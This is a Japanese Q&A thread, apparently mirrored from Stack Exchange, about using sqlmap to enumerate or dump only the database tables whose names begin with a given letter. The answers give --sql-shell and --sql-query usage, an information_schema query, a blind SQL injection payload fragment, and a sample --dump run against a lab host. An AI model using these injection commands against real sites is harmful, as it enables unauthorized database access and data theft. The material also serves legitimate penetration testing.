web-dev-qa-db-ja.com

SQLMap:特定の文字で始まるテーブルをダンプする方法は?

SQLMapのコマンドについて教えてください。これにより、特殊文字で始まるテーブルのみを取得できます。文字「T」の例:

sqlmap.py -u www.website -D database -T tables (...)
3

SQLMapはこれをネイティブにサポートしていません。ただし、必要なものを正確に取得する独自のクエリを作成できます。 --sql-Shellパラメーターを確認する必要があります。シェルコマンドがポップアップ表示されます。そのシェルに入力するすべてのクエリは、SQLインジェクション攻撃によって実行されます。

次のクエリを使用できます。 「w」で始まるテーブル名を取得します

SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';

実際、上記のクエリはネイティブSQLMapペイロードとほとんど同じです。たとえば、SQLMapはブラインドSQLインジェクションに次のペイロードを使用します。

' AND SUBSTRING('SELECT version()', 1,1)

このペイロードでSQLMapは、SQLMap xmlファイル内で事前定義されているSELECT version();クエリの結果を取得しようとします。このクエリは--sql-Shellコマンドで更新しています。端末に渡すすべての「通常の」データベースクエリは、SELECT version();に置き換えられます。

' AND SUBSTRING('SELECT table_name FROM information_schema.tables WHERE table_schema=database() and table_name LIKE 'w%';', 1,1)

カスタムクエリに問題がなければ、SQLインジェクションメカニズムの残りの部分に問題はありません。

1
Mehmet Ince

この場合、2つの選択肢があると思います。

  1. シェルスクリプト内でsqlmapを使用してテーブルを一覧表示し、それらの結果を保存して、sqlmapへの連続した呼び出しで繰り返すことができます。

  2. Sqlmapを使用して、指定したSQLクエリを--sql-queryオプションで実行できます。

次のように、ツールが希望どおりに実行できるとは思いません。

sqlmap.py -u www.website -D database -T "t*"
1
J Kimball
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
1
jianan huang